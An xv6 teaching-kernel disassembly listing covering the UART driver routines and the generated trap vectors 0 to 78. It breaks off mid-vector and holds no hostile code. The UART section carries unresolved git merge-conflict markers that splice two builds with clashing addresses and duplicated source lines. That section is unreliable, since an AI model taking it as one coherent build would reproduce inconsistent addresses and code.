80105e08: bb 80 00 00 00 mov $0x80,%ebx
80105e0d: be fd 03 00 00 mov $0x3fd,%esi
80105e12: 83 ec 0c sub $0xc,%esp
80105e15: eb 1b jmp 80105e32 <uartputc.part.0+0x32>
80105e17: 89 f6 mov %esi,%esi
80105e19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
{
80105bd8: 83 ec 10 sub $0x10,%esp
80105bdb: eb 14 jmp 80105bf1 <uartputc+0x31>
80105bdd: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
microdelay(10);
<<<<<<< HEAD
80105e20: 83 ec 0c sub $0xc,%esp
80105e23: 6a 0a push $0xa
80105e25: e8 66 c9 ff ff call 80102790 <microdelay>
=======
80105be0: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
80105be7: e8 24 cc ff ff call 80102810 <microdelay>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
<<<<<<< HEAD
80105e2a: 83 c4 10 add $0x10,%esp
80105e2d: 83 eb 01 sub $0x1,%ebx
80105e30: 74 07 je 80105e39 <uartputc.part.0+0x39>
80105e32: 89 f2 mov %esi,%edx
80105e34: ec in (%dx),%al
80105e35: a8 20 test $0x20,%al
80105e37: 74 e7 je 80105e20 <uartputc.part.0+0x20>
=======
80105bec: 83 eb 01 sub $0x1,%ebx
80105bef: 74 07 je 80105bf8 <uartputc+0x38>
80105bf1: 89 f2 mov %esi,%edx
80105bf3: ec in (%dx),%al
80105bf4: a8 20 test $0x20,%al
80105bf6: 74 e8 je 80105be0 <uartputc+0x20>
microdelay(10);
outb(COM1+0, c);
80105bf8: 0f b6 45 08 movzbl 0x8(%ebp),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
<<<<<<< HEAD
80105e39: ba f8 03 00 00 mov $0x3f8,%edx
80105e3e: 89 f8 mov %edi,%eax
80105e40: ee out %al,(%dx)
microdelay(10);
outb(COM1+0, c);
}
80105e41: 8d 65 f4 lea -0xc(%ebp),%esp
80105e44: 5b pop %ebx
80105e45: 5e pop %esi
80105e46: 5f pop %edi
80105e47: 5d pop %ebp
80105e48: c3 ret
80105e49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105e50 <uartinit>:
=======
80105bfc: ba f8 03 00 00 mov $0x3f8,%edx
80105c01: ee out %al,(%dx)
}
80105c02: 83 c4 10 add $0x10,%esp
80105c05: 5b pop %ebx
80105c06: 5e pop %esi
80105c07: 5d pop %ebp
80105c08: f3 c3 repz ret
80105c0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105c10 <uartinit>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static int uart; // is there a uart?
void
uartinit(void)
{
<<<<<<< HEAD
80105e50: 55 push %ebp
80105e51: 31 c9 xor %ecx,%ecx
80105e53: 89 c8 mov %ecx,%eax
80105e55: 89 e5 mov %esp,%ebp
80105e57: 57 push %edi
80105e58: 56 push %esi
80105e59: 53 push %ebx
80105e5a: bb fa 03 00 00 mov $0x3fa,%ebx
80105e5f: 89 da mov %ebx,%edx
80105e61: 83 ec 0c sub $0xc,%esp
80105e64: ee out %al,(%dx)
80105e65: bf fb 03 00 00 mov $0x3fb,%edi
80105e6a: b8 80 ff ff ff mov $0xffffff80,%eax
80105e6f: 89 fa mov %edi,%edx
80105e71: ee out %al,(%dx)
80105e72: b8 0c 00 00 00 mov $0xc,%eax
80105e77: ba f8 03 00 00 mov $0x3f8,%edx
80105e7c: ee out %al,(%dx)
80105e7d: be f9 03 00 00 mov $0x3f9,%esi
80105e82: 89 c8 mov %ecx,%eax
80105e84: 89 f2 mov %esi,%edx
80105e86: ee out %al,(%dx)
80105e87: b8 03 00 00 00 mov $0x3,%eax
80105e8c: 89 fa mov %edi,%edx
80105e8e: ee out %al,(%dx)
80105e8f: ba fc 03 00 00 mov $0x3fc,%edx
80105e94: 89 c8 mov %ecx,%eax
80105e96: ee out %al,(%dx)
80105e97: b8 01 00 00 00 mov $0x1,%eax
80105e9c: 89 f2 mov %esi,%edx
80105e9e: ee out %al,(%dx)
=======
80105c10: 55 push %ebp
80105c11: 31 c9 xor %ecx,%ecx
80105c13: 89 e5 mov %esp,%ebp
80105c15: 89 c8 mov %ecx,%eax
80105c17: 57 push %edi
80105c18: bf fa 03 00 00 mov $0x3fa,%edi
80105c1d: 56 push %esi
80105c1e: 89 fa mov %edi,%edx
80105c20: 53 push %ebx
80105c21: 83 ec 1c sub $0x1c,%esp
80105c24: ee out %al,(%dx)
80105c25: be fb 03 00 00 mov $0x3fb,%esi
80105c2a: b8 80 ff ff ff mov $0xffffff80,%eax
80105c2f: 89 f2 mov %esi,%edx
80105c31: ee out %al,(%dx)
80105c32: b8 0c 00 00 00 mov $0xc,%eax
80105c37: b2 f8 mov $0xf8,%dl
80105c39: ee out %al,(%dx)
80105c3a: bb f9 03 00 00 mov $0x3f9,%ebx
80105c3f: 89 c8 mov %ecx,%eax
80105c41: 89 da mov %ebx,%edx
80105c43: ee out %al,(%dx)
80105c44: b8 03 00 00 00 mov $0x3,%eax
80105c49: 89 f2 mov %esi,%edx
80105c4b: ee out %al,(%dx)
80105c4c: b2 fc mov $0xfc,%dl
80105c4e: 89 c8 mov %ecx,%eax
80105c50: ee out %al,(%dx)
80105c51: b8 01 00 00 00 mov $0x1,%eax
80105c56: 89 da mov %ebx,%edx
80105c58: ee out %al,(%dx)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
<<<<<<< HEAD
80105e9f: ba fd 03 00 00 mov $0x3fd,%edx
80105ea4: ec in (%dx),%al
=======
80105c59: b2 fd mov $0xfd,%dl
80105c5b: ec in (%dx),%al
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
outb(COM1+4, 0);
outb(COM1+1, 0x01); // Enable receive interrupts.
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
<<<<<<< HEAD
80105ea5: 3c ff cmp $0xff,%al
80105ea7: 74 5a je 80105f03 <uartinit+0xb3>
return;
uart = 1;
80105ea9: c7 05 c0 a5 10 80 01 movl $0x1,0x8010a5c0
80105eb0: 00 00 00
80105eb3: 89 da mov %ebx,%edx
80105eb5: ec in (%dx),%al
80105eb6: ba f8 03 00 00 mov $0x3f8,%edx
80105ebb: ec in (%dx),%al
=======
80105c5c: 3c ff cmp $0xff,%al
80105c5e: 74 52 je 80105cb2 <uartinit+0xa2>
return;
uart = 1;
80105c60: c7 05 c0 a5 10 80 01 movl $0x1,0x8010a5c0
80105c67: 00 00 00
80105c6a: 89 fa mov %edi,%edx
80105c6c: ec in (%dx),%al
80105c6d: b2 f8 mov $0xf8,%dl
80105c6f: ec in (%dx),%al
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
inb(COM1+0);
picenable(IRQ_COM1);
<<<<<<< HEAD
80105ebc: 83 ec 0c sub $0xc,%esp
80105ebf: 6a 04 push $0x4
80105ec1: e8 ba d3 ff ff call 80103280 <picenable>
ioapicenable(IRQ_COM1, 0);
80105ec6: 59 pop %ecx
80105ec7: 5b pop %ebx
80105ec8: 6a 00 push $0x0
80105eca: 6a 04 push $0x4
80105ecc: bb 30 7c 10 80 mov $0x80107c30,%ebx
80105ed1: e8 aa c3 ff ff call 80102280 <ioapicenable>
80105ed6: 83 c4 10 add $0x10,%esp
80105ed9: b8 78 00 00 00 mov $0x78,%eax
80105ede: eb 0a jmp 80105eea <uartinit+0x9a>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105ee0: 83 c3 01 add $0x1,%ebx
80105ee3: 0f be 03 movsbl (%ebx),%eax
80105ee6: 84 c0 test %al,%al
80105ee8: 74 19 je 80105f03 <uartinit+0xb3>
void
uartputc(int c)
{
int i;
if(!uart)
80105eea: 8b 15 c0 a5 10 80 mov 0x8010a5c0,%edx
80105ef0: 85 d2 test %edx,%edx
80105ef2: 74 ec je 80105ee0 <uartinit+0x90>
=======
80105c70: c7 04 24 04 00 00 00 movl $0x4,(%esp)
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105c77: bb d0 79 10 80 mov $0x801079d0,%ebx
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
inb(COM1+0);
picenable(IRQ_COM1);
80105c7c: e8 6f d5 ff ff call 801031f0 <picenable>
ioapicenable(IRQ_COM1, 0);
80105c81: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105c88: 00
80105c89: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80105c90: e8 0b c6 ff ff call 801022a0 <ioapicenable>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
<<<<<<< HEAD
80105ef4: 83 c3 01 add $0x1,%ebx
80105ef7: e8 04 ff ff ff call 80105e00 <uartputc.part.0>
80105efc: 0f be 03 movsbl (%ebx),%eax
80105eff: 84 c0 test %al,%al
80105f01: 75 e7 jne 80105eea <uartinit+0x9a>
uartputc(*p);
}
80105f03: 8d 65 f4 lea -0xc(%ebp),%esp
80105f06: 5b pop %ebx
80105f07: 5e pop %esi
80105f08: 5f pop %edi
80105f09: 5d pop %ebp
80105f0a: c3 ret
80105f0b: 90 nop
80105f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105f10 <uartputc>:
void
uartputc(int c)
{
int i;
if(!uart)
80105f10: 8b 15 c0 a5 10 80 mov 0x8010a5c0,%edx
uartputc(*p);
}
void
uartputc(int c)
{
80105f16: 55 push %ebp
80105f17: 89 e5 mov %esp,%ebp
int i;
if(!uart)
80105f19: 85 d2 test %edx,%edx
=======
80105c95: b8 78 00 00 00 mov $0x78,%eax
80105c9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
uartputc(*p);
80105ca0: 89 04 24 mov %eax,(%esp)
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105ca3: 83 c3 01 add $0x1,%ebx
uartputc(*p);
80105ca6: e8 15 ff ff ff call 80105bc0 <uartputc>
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105cab: 0f be 03 movsbl (%ebx),%eax
80105cae: 84 c0 test %al,%al
80105cb0: 75 ee jne 80105ca0 <uartinit+0x90>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
uartputc(*p);
}
80105cb2: 83 c4 1c add $0x1c,%esp
80105cb5: 5b pop %ebx
80105cb6: 5e pop %esi
80105cb7: 5f pop %edi
80105cb8: 5d pop %ebp
80105cb9: c3 ret
80105cba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
<<<<<<< HEAD
void
uartputc(int c)
{
80105f1b: 8b 45 08 mov 0x8(%ebp),%eax
int i;
if(!uart)
80105f1e: 74 10 je 80105f30 <uartputc+0x20>
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
microdelay(10);
outb(COM1+0, c);
}
80105f20: 5d pop %ebp
80105f21: e9 da fe ff ff jmp 80105e00 <uartputc.part.0>
80105f26: 8d 76 00 lea 0x0(%esi),%esi
80105f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105f30: 5d pop %ebp
80105f31: c3 ret
80105f32: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105f40 <uartintr>:
=======
80105cc0 <uartintr>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return inb(COM1+0);
}
void
uartintr(void)
{
<<<<<<< HEAD
80105f40: 55 push %ebp
80105f41: 89 e5 mov %esp,%ebp
80105f43: 83 ec 14 sub $0x14,%esp
consoleintr(uartgetc);
80105f46: 68 d0 5d 10 80 push $0x80105dd0
80105f4b: e8 a0 a8 ff ff call 801007f0 <consoleintr>
}
80105f50: 83 c4 10 add $0x10,%esp
80105f53: c9 leave
80105f54: c3 ret
80105f55 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80105f55: 6a 00 push $0x0
pushl $0
80105f57: 6a 00 push $0x0
jmp alltraps
80105f59: e9 20 fb ff ff jmp 80105a7e <alltraps>
80105f5e <vector1>:
.globl vector1
vector1:
pushl $0
80105f5e: 6a 00 push $0x0
pushl $1
80105f60: 6a 01 push $0x1
jmp alltraps
80105f62: e9 17 fb ff ff jmp 80105a7e <alltraps>
80105f67 <vector2>:
.globl vector2
vector2:
pushl $0
80105f67: 6a 00 push $0x0
pushl $2
80105f69: 6a 02 push $0x2
jmp alltraps
80105f6b: e9 0e fb ff ff jmp 80105a7e <alltraps>
80105f70 <vector3>:
.globl vector3
vector3:
pushl $0
80105f70: 6a 00 push $0x0
pushl $3
80105f72: 6a 03 push $0x3
jmp alltraps
80105f74: e9 05 fb ff ff jmp 80105a7e <alltraps>
80105f79 <vector4>:
.globl vector4
vector4:
pushl $0
80105f79: 6a 00 push $0x0
pushl $4
80105f7b: 6a 04 push $0x4
jmp alltraps
80105f7d: e9 fc fa ff ff jmp 80105a7e <alltraps>
80105f82 <vector5>:
.globl vector5
vector5:
pushl $0
80105f82: 6a 00 push $0x0
pushl $5
80105f84: 6a 05 push $0x5
jmp alltraps
80105f86: e9 f3 fa ff ff jmp 80105a7e <alltraps>
80105f8b <vector6>:
.globl vector6
vector6:
pushl $0
80105f8b: 6a 00 push $0x0
pushl $6
80105f8d: 6a 06 push $0x6
jmp alltraps
80105f8f: e9 ea fa ff ff jmp 80105a7e <alltraps>
80105f94 <vector7>:
.globl vector7
vector7:
pushl $0
80105f94: 6a 00 push $0x0
pushl $7
80105f96: 6a 07 push $0x7
jmp alltraps
80105f98: e9 e1 fa ff ff jmp 80105a7e <alltraps>
80105f9d <vector8>:
.globl vector8
vector8:
pushl $8
80105f9d: 6a 08 push $0x8
jmp alltraps
80105f9f: e9 da fa ff ff jmp 80105a7e <alltraps>
80105fa4 <vector9>:
.globl vector9
vector9:
pushl $0
80105fa4: 6a 00 push $0x0
pushl $9
80105fa6: 6a 09 push $0x9
jmp alltraps
80105fa8: e9 d1 fa ff ff jmp 80105a7e <alltraps>
80105fad <vector10>:
.globl vector10
vector10:
pushl $10
80105fad: 6a 0a push $0xa
jmp alltraps
80105faf: e9 ca fa ff ff jmp 80105a7e <alltraps>
80105fb4 <vector11>:
.globl vector11
vector11:
pushl $11
80105fb4: 6a 0b push $0xb
jmp alltraps
80105fb6: e9 c3 fa ff ff jmp 80105a7e <alltraps>
80105fbb <vector12>:
.globl vector12
vector12:
pushl $12
80105fbb: 6a 0c push $0xc
jmp alltraps
80105fbd: e9 bc fa ff ff jmp 80105a7e <alltraps>
80105fc2 <vector13>:
.globl vector13
vector13:
pushl $13
80105fc2: 6a 0d push $0xd
jmp alltraps
80105fc4: e9 b5 fa ff ff jmp 80105a7e <alltraps>
80105fc9 <vector14>:
.globl vector14
vector14:
pushl $14
80105fc9: 6a 0e push $0xe
jmp alltraps
80105fcb: e9 ae fa ff ff jmp 80105a7e <alltraps>
80105fd0 <vector15>:
.globl vector15
vector15:
pushl $0
80105fd0: 6a 00 push $0x0
pushl $15
80105fd2: 6a 0f push $0xf
jmp alltraps
80105fd4: e9 a5 fa ff ff jmp 80105a7e <alltraps>
80105fd9 <vector16>:
.globl vector16
vector16:
pushl $0
80105fd9: 6a 00 push $0x0
pushl $16
80105fdb: 6a 10 push $0x10
jmp alltraps
80105fdd: e9 9c fa ff ff jmp 80105a7e <alltraps>
80105fe2 <vector17>:
.globl vector17
vector17:
pushl $17
80105fe2: 6a 11 push $0x11
jmp alltraps
80105fe4: e9 95 fa ff ff jmp 80105a7e <alltraps>
80105fe9 <vector18>:
.globl vector18
vector18:
pushl $0
80105fe9: 6a 00 push $0x0
pushl $18
80105feb: 6a 12 push $0x12
jmp alltraps
80105fed: e9 8c fa ff ff jmp 80105a7e <alltraps>
80105ff2 <vector19>:
.globl vector19
vector19:
pushl $0
80105ff2: 6a 00 push $0x0
pushl $19
80105ff4: 6a 13 push $0x13
jmp alltraps
80105ff6: e9 83 fa ff ff jmp 80105a7e <alltraps>
80105ffb <vector20>:
.globl vector20
vector20:
pushl $0
80105ffb: 6a 00 push $0x0
pushl $20
80105ffd: 6a 14 push $0x14
jmp alltraps
80105fff: e9 7a fa ff ff jmp 80105a7e <alltraps>
80106004 <vector21>:
.globl vector21
vector21:
pushl $0
80106004: 6a 00 push $0x0
pushl $21
80106006: 6a 15 push $0x15
jmp alltraps
80106008: e9 71 fa ff ff jmp 80105a7e <alltraps>
8010600d <vector22>:
.globl vector22
vector22:
pushl $0
8010600d: 6a 00 push $0x0
pushl $22
8010600f: 6a 16 push $0x16
jmp alltraps
80106011: e9 68 fa ff ff jmp 80105a7e <alltraps>
80106016 <vector23>:
.globl vector23
vector23:
pushl $0
80106016: 6a 00 push $0x0
pushl $23
80106018: 6a 17 push $0x17
jmp alltraps
8010601a: e9 5f fa ff ff jmp 80105a7e <alltraps>
8010601f <vector24>:
.globl vector24
vector24:
pushl $0
8010601f: 6a 00 push $0x0
pushl $24
80106021: 6a 18 push $0x18
jmp alltraps
80106023: e9 56 fa ff ff jmp 80105a7e <alltraps>
80106028 <vector25>:
.globl vector25
vector25:
pushl $0
80106028: 6a 00 push $0x0
pushl $25
8010602a: 6a 19 push $0x19
jmp alltraps
8010602c: e9 4d fa ff ff jmp 80105a7e <alltraps>
80106031 <vector26>:
.globl vector26
vector26:
pushl $0
80106031: 6a 00 push $0x0
pushl $26
80106033: 6a 1a push $0x1a
jmp alltraps
80106035: e9 44 fa ff ff jmp 80105a7e <alltraps>
8010603a <vector27>:
.globl vector27
vector27:
pushl $0
8010603a: 6a 00 push $0x0
pushl $27
8010603c: 6a 1b push $0x1b
jmp alltraps
8010603e: e9 3b fa ff ff jmp 80105a7e <alltraps>
80106043 <vector28>:
.globl vector28
vector28:
pushl $0
80106043: 6a 00 push $0x0
pushl $28
80106045: 6a 1c push $0x1c
jmp alltraps
80106047: e9 32 fa ff ff jmp 80105a7e <alltraps>
8010604c <vector29>:
.globl vector29
vector29:
pushl $0
8010604c: 6a 00 push $0x0
pushl $29
8010604e: 6a 1d push $0x1d
jmp alltraps
80106050: e9 29 fa ff ff jmp 80105a7e <alltraps>
80106055 <vector30>:
.globl vector30
vector30:
pushl $0
80106055: 6a 00 push $0x0
pushl $30
80106057: 6a 1e push $0x1e
jmp alltraps
80106059: e9 20 fa ff ff jmp 80105a7e <alltraps>
8010605e <vector31>:
.globl vector31
vector31:
pushl $0
8010605e: 6a 00 push $0x0
pushl $31
80106060: 6a 1f push $0x1f
jmp alltraps
80106062: e9 17 fa ff ff jmp 80105a7e <alltraps>
80106067 <vector32>:
.globl vector32
vector32:
pushl $0
80106067: 6a 00 push $0x0
pushl $32
80106069: 6a 20 push $0x20
jmp alltraps
8010606b: e9 0e fa ff ff jmp 80105a7e <alltraps>
80106070 <vector33>:
.globl vector33
vector33:
pushl $0
80106070: 6a 00 push $0x0
pushl $33
80106072: 6a 21 push $0x21
jmp alltraps
80106074: e9 05 fa ff ff jmp 80105a7e <alltraps>
80106079 <vector34>:
.globl vector34
vector34:
pushl $0
80106079: 6a 00 push $0x0
pushl $34
8010607b: 6a 22 push $0x22
jmp alltraps
8010607d: e9 fc f9 ff ff jmp 80105a7e <alltraps>
80106082 <vector35>:
.globl vector35
vector35:
pushl $0
80106082: 6a 00 push $0x0
pushl $35
80106084: 6a 23 push $0x23
jmp alltraps
80106086: e9 f3 f9 ff ff jmp 80105a7e <alltraps>
8010608b <vector36>:
.globl vector36
vector36:
pushl $0
8010608b: 6a 00 push $0x0
pushl $36
8010608d: 6a 24 push $0x24
jmp alltraps
8010608f: e9 ea f9 ff ff jmp 80105a7e <alltraps>
80106094 <vector37>:
.globl vector37
vector37:
pushl $0
80106094: 6a 00 push $0x0
pushl $37
80106096: 6a 25 push $0x25
jmp alltraps
80106098: e9 e1 f9 ff ff jmp 80105a7e <alltraps>
8010609d <vector38>:
.globl vector38
vector38:
pushl $0
8010609d: 6a 00 push $0x0
pushl $38
8010609f: 6a 26 push $0x26
jmp alltraps
801060a1: e9 d8 f9 ff ff jmp 80105a7e <alltraps>
801060a6 <vector39>:
.globl vector39
vector39:
pushl $0
801060a6: 6a 00 push $0x0
pushl $39
801060a8: 6a 27 push $0x27
jmp alltraps
801060aa: e9 cf f9 ff ff jmp 80105a7e <alltraps>
801060af <vector40>:
.globl vector40
vector40:
pushl $0
801060af: 6a 00 push $0x0
pushl $40
801060b1: 6a 28 push $0x28
jmp alltraps
801060b3: e9 c6 f9 ff ff jmp 80105a7e <alltraps>
801060b8 <vector41>:
.globl vector41
vector41:
pushl $0
801060b8: 6a 00 push $0x0
pushl $41
801060ba: 6a 29 push $0x29
jmp alltraps
801060bc: e9 bd f9 ff ff jmp 80105a7e <alltraps>
801060c1 <vector42>:
.globl vector42
vector42:
pushl $0
801060c1: 6a 00 push $0x0
pushl $42
801060c3: 6a 2a push $0x2a
jmp alltraps
801060c5: e9 b4 f9 ff ff jmp 80105a7e <alltraps>
801060ca <vector43>:
.globl vector43
vector43:
pushl $0
801060ca: 6a 00 push $0x0
pushl $43
801060cc: 6a 2b push $0x2b
jmp alltraps
801060ce: e9 ab f9 ff ff jmp 80105a7e <alltraps>
801060d3 <vector44>:
.globl vector44
vector44:
pushl $0
801060d3: 6a 00 push $0x0
pushl $44
801060d5: 6a 2c push $0x2c
jmp alltraps
801060d7: e9 a2 f9 ff ff jmp 80105a7e <alltraps>
801060dc <vector45>:
.globl vector45
vector45:
pushl $0
801060dc: 6a 00 push $0x0
pushl $45
801060de: 6a 2d push $0x2d
jmp alltraps
801060e0: e9 99 f9 ff ff jmp 80105a7e <alltraps>
801060e5 <vector46>:
.globl vector46
vector46:
pushl $0
801060e5: 6a 00 push $0x0
pushl $46
801060e7: 6a 2e push $0x2e
jmp alltraps
801060e9: e9 90 f9 ff ff jmp 80105a7e <alltraps>
801060ee <vector47>:
.globl vector47
vector47:
pushl $0
801060ee: 6a 00 push $0x0
pushl $47
801060f0: 6a 2f push $0x2f
jmp alltraps
801060f2: e9 87 f9 ff ff jmp 80105a7e <alltraps>
801060f7 <vector48>:
.globl vector48
vector48:
pushl $0
801060f7: 6a 00 push $0x0
pushl $48
801060f9: 6a 30 push $0x30
jmp alltraps
801060fb: e9 7e f9 ff ff jmp 80105a7e <alltraps>
80106100 <vector49>:
.globl vector49
vector49:
pushl $0
80106100: 6a 00 push $0x0
pushl $49
80106102: 6a 31 push $0x31
jmp alltraps
80106104: e9 75 f9 ff ff jmp 80105a7e <alltraps>
80106109 <vector50>:
.globl vector50
vector50:
pushl $0
80106109: 6a 00 push $0x0
pushl $50
8010610b: 6a 32 push $0x32
jmp alltraps
8010610d: e9 6c f9 ff ff jmp 80105a7e <alltraps>
80106112 <vector51>:
.globl vector51
vector51:
pushl $0
80106112: 6a 00 push $0x0
pushl $51
80106114: 6a 33 push $0x33
jmp alltraps
80106116: e9 63 f9 ff ff jmp 80105a7e <alltraps>
8010611b <vector52>:
.globl vector52
vector52:
pushl $0
8010611b: 6a 00 push $0x0
pushl $52
8010611d: 6a 34 push $0x34
jmp alltraps
8010611f: e9 5a f9 ff ff jmp 80105a7e <alltraps>
80106124 <vector53>:
.globl vector53
vector53:
pushl $0
80106124: 6a 00 push $0x0
pushl $53
80106126: 6a 35 push $0x35
jmp alltraps
80106128: e9 51 f9 ff ff jmp 80105a7e <alltraps>
8010612d <vector54>:
.globl vector54
vector54:
pushl $0
8010612d: 6a 00 push $0x0
pushl $54
8010612f: 6a 36 push $0x36
jmp alltraps
80106131: e9 48 f9 ff ff jmp 80105a7e <alltraps>
80106136 <vector55>:
.globl vector55
vector55:
pushl $0
80106136: 6a 00 push $0x0
pushl $55
80106138: 6a 37 push $0x37
jmp alltraps
8010613a: e9 3f f9 ff ff jmp 80105a7e <alltraps>
8010613f <vector56>:
.globl vector56
vector56:
pushl $0
8010613f: 6a 00 push $0x0
pushl $56
80106141: 6a 38 push $0x38
jmp alltraps
80106143: e9 36 f9 ff ff jmp 80105a7e <alltraps>
80106148 <vector57>:
.globl vector57
vector57:
pushl $0
80106148: 6a 00 push $0x0
pushl $57
8010614a: 6a 39 push $0x39
jmp alltraps
8010614c: e9 2d f9 ff ff jmp 80105a7e <alltraps>
80106151 <vector58>:
.globl vector58
vector58:
pushl $0
80106151: 6a 00 push $0x0
pushl $58
80106153: 6a 3a push $0x3a
jmp alltraps
80106155: e9 24 f9 ff ff jmp 80105a7e <alltraps>
8010615a <vector59>:
.globl vector59
vector59:
pushl $0
8010615a: 6a 00 push $0x0
pushl $59
8010615c: 6a 3b push $0x3b
jmp alltraps
8010615e: e9 1b f9 ff ff jmp 80105a7e <alltraps>
80106163 <vector60>:
.globl vector60
vector60:
pushl $0
80106163: 6a 00 push $0x0
pushl $60
80106165: 6a 3c push $0x3c
jmp alltraps
80106167: e9 12 f9 ff ff jmp 80105a7e <alltraps>
8010616c <vector61>:
.globl vector61
vector61:
pushl $0
8010616c: 6a 00 push $0x0
pushl $61
8010616e: 6a 3d push $0x3d
jmp alltraps
80106170: e9 09 f9 ff ff jmp 80105a7e <alltraps>
80106175 <vector62>:
.globl vector62
vector62:
pushl $0
80106175: 6a 00 push $0x0
pushl $62
80106177: 6a 3e push $0x3e
jmp alltraps
80106179: e9 00 f9 ff ff jmp 80105a7e <alltraps>
8010617e <vector63>:
.globl vector63
vector63:
pushl $0
8010617e: 6a 00 push $0x0
pushl $63
80106180: 6a 3f push $0x3f
jmp alltraps
80106182: e9 f7 f8 ff ff jmp 80105a7e <alltraps>
80106187 <vector64>:
.globl vector64
vector64:
pushl $0
80106187: 6a 00 push $0x0
pushl $64
80106189: 6a 40 push $0x40
jmp alltraps
8010618b: e9 ee f8 ff ff jmp 80105a7e <alltraps>
80106190 <vector65>:
.globl vector65
vector65:
pushl $0
80106190: 6a 00 push $0x0
pushl $65
80106192: 6a 41 push $0x41
jmp alltraps
80106194: e9 e5 f8 ff ff jmp 80105a7e <alltraps>
80106199 <vector66>:
.globl vector66
vector66:
pushl $0
80106199: 6a 00 push $0x0
pushl $66
8010619b: 6a 42 push $0x42
jmp alltraps
8010619d: e9 dc f8 ff ff jmp 80105a7e <alltraps>
801061a2 <vector67>:
.globl vector67
vector67:
pushl $0
801061a2: 6a 00 push $0x0
pushl $67
801061a4: 6a 43 push $0x43
jmp alltraps
801061a6: e9 d3 f8 ff ff jmp 80105a7e <alltraps>
801061ab <vector68>:
.globl vector68
vector68:
pushl $0
801061ab: 6a 00 push $0x0
pushl $68
801061ad: 6a 44 push $0x44
jmp alltraps
801061af: e9 ca f8 ff ff jmp 80105a7e <alltraps>
801061b4 <vector69>:
.globl vector69
vector69:
pushl $0
801061b4: 6a 00 push $0x0
pushl $69
801061b6: 6a 45 push $0x45
jmp alltraps
801061b8: e9 c1 f8 ff ff jmp 80105a7e <alltraps>
801061bd <vector70>:
.globl vector70
vector70:
pushl $0
801061bd: 6a 00 push $0x0
pushl $70
801061bf: 6a 46 push $0x46
jmp alltraps
801061c1: e9 b8 f8 ff ff jmp 80105a7e <alltraps>
801061c6 <vector71>:
.globl vector71
vector71:
pushl $0
801061c6: 6a 00 push $0x0
pushl $71
801061c8: 6a 47 push $0x47
jmp alltraps
801061ca: e9 af f8 ff ff jmp 80105a7e <alltraps>
801061cf <vector72>:
.globl vector72
vector72:
pushl $0
801061cf: 6a 00 push $0x0
pushl $72
801061d1: 6a 48 push $0x48
jmp alltraps
801061d3: e9 a6 f8 ff ff jmp 80105a7e <alltraps>
801061d8 <vector73>:
.globl vector73
vector73:
pushl $0
801061d8: 6a 00 push $0x0
pushl $73
801061da: 6a 49 push $0x49
jmp alltraps
801061dc: e9 9d f8 ff ff jmp 80105a7e <alltraps>
801061e1 <vector74>:
.globl vector74
vector74:
pushl $0
801061e1: 6a 00 push $0x0
pushl $74
801061e3: 6a 4a push $0x4a
jmp alltraps
801061e5: e9 94 f8 ff ff jmp 80105a7e <alltraps>
801061ea <vector75>:
.globl vector75
vector75:
pushl $0
801061ea: 6a 00 push $0x0
pushl $75
801061ec: 6a 4b push $0x4b
jmp alltraps
801061ee: e9 8b f8 ff ff jmp 80105a7e <alltraps>
801061f3 <vector76>:
.globl vector76
vector76:
pushl $0
801061f3: 6a 00 push $0x0
pushl $76
801061f5: 6a 4c push $0x4c
jmp alltraps
801061f7: e9 82 f8 ff ff jmp 80105a7e <alltraps>
801061fc <vector77>:
.globl vector77
vector77:
pushl $0
801061fc: 6a 00 push $0x0
pushl $77
801061fe: 6a 4d push $0x4d
jmp alltraps
80106200: e9 79 f8 ff ff jmp 80105a7e <alltraps>
80106205 <vector78>:
.globl vector78
vector78:
pushl $0
80106205: 6a 00 push $0x0
pushl $78
80106207: 6a 4e push $0x4e
jmp alltraps
